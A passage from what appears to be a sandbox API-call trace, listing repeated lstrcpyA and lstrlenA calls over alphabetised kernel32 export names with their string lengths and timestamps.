(lpString="BACKUPWRITE") returned 11 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0053.756] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0053.756] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0053.756] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0053.756] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0053.756] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0053.756] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0053.756] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0053.756] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0053.756] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0053.756] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0053.756] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0053.756] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0053.757] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0053.757] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0053.757] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0053.757] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0053.757] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0053.757] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0053.757] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0053.757] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0053.757] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0053.757] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0053.757] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0053.757] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0053.757] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0053.757] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0053.757] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0053.757] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0053.757] lstrlenA (lpString="BEEP") returned 4 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0053.757] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0053.757] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0053.757] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0053.757] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0053.757] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0053.758] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0053.758] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0053.758] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0053.758] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0053.758] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0053.758] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0053.758] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0053.758] lstrlenA (lpString="CANCELIO") returned 8 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0053.758] lstrlenA (lpString="CANCELIOEX") returned 10 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0053.758] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0053.758] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0053.758] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0053.758] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0053.758] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0053.758] lstrlenA (lpString="CHECKELEVATION") returned 14 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0053.758] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0053.758] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0053.758] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0053.758] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0053.758] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0053.758] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0053.758] lstrcpyA (in: lpString1=0x34e430, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0053.758] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0053.759] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0053.759] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0053.759] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0053.759] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0053.759] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0053.759] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0053.759] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0053.759] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0053.759] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0053.759] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0053.759] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0053.759] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0053.759] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0053.759] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0053.759] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0053.759] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0053.759] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0053.759] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0053.759] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0053.759] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0053.759] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0053.759] lstrcpyA (in: lpString1=0x34e430, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0053.759] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0053.760] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0053.760] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0053.760] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0053.760] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0053.760] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0053.760] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0053.760] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0053.760] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0053.760] lstrlenA (lpString="COPYCONTEXT") returned 11 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0053.760] lstrlenA (lpString="COPYFILEA") returned 9 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0053.760] lstrlenA (lpString="COPYFILEEXA") returned 11 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0053.760] lstrlenA (lpString="COPYFILEEXW") returned 11 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0053.760] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0053.760] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0053.760] lstrlenA (lpString="COPYFILEW") returned 9 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0053.760] lstrlenA (lpString="COPYLZFILE") returned 10 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0053.760] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0053.760] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0053.760] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0053.760] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0053.760] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0053.760] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0053.761] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0053.761] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0053.761] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0053.761] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0053.761] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0053.761] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0053.761] lstrlenA (lpString="CREATEEVENTA") returned 12 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0053.761] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0053.761] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0053.761] lstrlenA (lpString="CREATEEVENTW") returned 12 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0053.761] lstrlenA (lpString="CREATEFIBER") returned 11 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0053.761] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0053.761] lstrlenA (lpString="CREATEFILEA") returned 11 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0053.761] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0053.761] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0053.761] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0053.761] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0053.761] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0053.761] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0053.762] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0053.762] lstrlenA (lpString="CREATEFILEW") returned 11 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0053.762] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0053.762] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0053.762] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0053.762] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0053.762] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0053.762] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0053.762] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0053.762] lstrlenA (lpString="CREATEJOBSET") returned 12 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0053.762] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0053.762] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0053.762] 